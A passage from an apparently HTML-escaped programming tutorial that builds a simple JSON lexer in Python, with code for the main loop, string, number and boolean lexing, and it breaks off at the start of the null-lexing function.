JSON-encoded string and returns the equivalent Python dictionary.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;assert_equal(from_string('{&amp;quot;foo&amp;quot;: 1}'),
             {&amp;quot;foo&amp;quot;: 1})
&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="lexical-analysis"&gt;Lexical analysis&lt;/h3&gt;&lt;p&gt;Lexical analysis breaks down an input string into tokens. Comments and
whitespace are often discarded during lexical analysis so you are left
with a simpler input you can search for grammatical matches during the
syntactic analysis.&lt;/p&gt;
&lt;p&gt;Assuming a simple lexical analyzer, you might iterate over all the
characters in an input string (or stream) and break them apart into
fundemental, &lt;strong&gt;non-recursively&lt;/strong&gt; defined language constructs such as
integers, strings, and boolean literals. In particular, strings
&lt;strong&gt;must&lt;/strong&gt; be part of the lexical analysis because you cannot throw away
whitespace without knowing that it is not part of a string.&lt;/p&gt;
&lt;p class="note"&gt;
  In a helpful lexer you keep track of the whitespace and comments
  you've skipped, the current line number and file you are in so that
  you can refer back to it at any stage in errors produced by analysis
  of the source. &lt;a href="https://v8project.blogspot.com/2018/03/v8-release-66.html"&gt;The
  V8 Javascript engine recently became able to do reproduce the exact
  source code of a function.&lt;/a&gt; This, at the very least, would need
  the help of a lexer to make possible.
&lt;/p&gt;&lt;h4 id="implementing-a-json-lexer"&gt;Implementing a JSON lexer&lt;/h4&gt;&lt;p&gt;The gist of the JSON lexer will be to iterate over the input source
and try to find patterns of strings, numbers, booleans, nulls, or JSON
syntax like left brackets and left braces, ultimately returning
each of these elements as a list.&lt;/p&gt;
&lt;p&gt;Here is what the lexer should return for an example input:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;assert_equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'{&amp;quot;foo&amp;quot;: [1, 2, {&amp;quot;bar&amp;quot;: 2}]}'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
             &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'{'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'foo'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'['&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;','&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;','&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'{'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'bar'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;']'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'}'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here is what this logic might begin to look like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;json_string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lex_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;json_string&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="c1"&gt;# TODO: lex booleans, nulls, numbers&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;JSON_WHITESPACE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;JSON_SYNTAX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Unexpected character: &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The goal here is to try to match strings, numbers, booleans, and nulls
and add them to the list of tokens. If none of these match, check if
the character is whitespace and throw it away if so. Otherwise store
it as a token if it is part of JSON syntax (like left
brackets). Finally throw an exception if the character/string didn't
match any of these patterns.&lt;/p&gt;
&lt;p&gt;Let's extend the core logic here a little bit to support all the types
and add the function stubs.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lex_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lex_number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lex_bool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lex_null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;tokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;json_string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lex_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;json_string&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="n"&gt;json_number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lex_number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;json_number&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_number&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="n"&gt;json_bool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lex_bool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;json_bool&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="n"&gt;json_null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;lex_null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;json_null&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;JSON_WHITESPACE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;JSON_SYNTAX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Unexpected character: &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;tokens&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="lexing-strings"&gt;Lexing strings&lt;/h4&gt;&lt;p&gt;For the &lt;code&gt;lex_string&lt;/code&gt; function, the gist will be to check if the first
character is a quote. If it is, iterate over the input string until
you find an ending quote. If you don't find an initial quote, return
None and the original list. If you find an initial quote and an ending
quote, return the string within the quotes and the rest of the
unchecked input string.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lex_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;json_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;JSON_QUOTE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;JSON_QUOTE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json_string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;json_string&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;

    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Expected end-of-string quote'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="lexing-numbers"&gt;Lexing numbers&lt;/h4&gt;&lt;p&gt;For the &lt;code&gt;lex_number&lt;/code&gt; function, the gist will be to iterate over the
input until you find a character that cannot be part of a number.
(This is, of course, a gross simplification, but being more accurate
will be left as an exercise to the reader.) After finding a character
that cannot be part of a number, either return a float or int if the
characters you've accumulated number more than 0. Otherwise return
None and the original string input.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lex_number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;json_number&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;

    &lt;span class="n"&gt;number_characters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'-'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'e'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'.'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;number_characters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;json_number&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;

    &lt;span class="n"&gt;rest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_number&lt;/span&gt;&lt;span class="p"&gt;):]&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;'.'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;json_number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_number&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;rest&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json_number&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;rest&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="lexing-booleans-and-nulls"&gt;Lexing booleans and nulls&lt;/h4&gt;&lt;p&gt;Finding boolean and null values is a very simple string match.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lex_bool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;string_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;string_len&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;TRUE_LEN&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; \
       &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;TRUE_LEN&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'true'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TRUE_LEN&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;string_len&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;FALSE_LEN&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; \
         &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;FALSE_LEN&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'false'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;FALSE_LEN&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;lex_null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
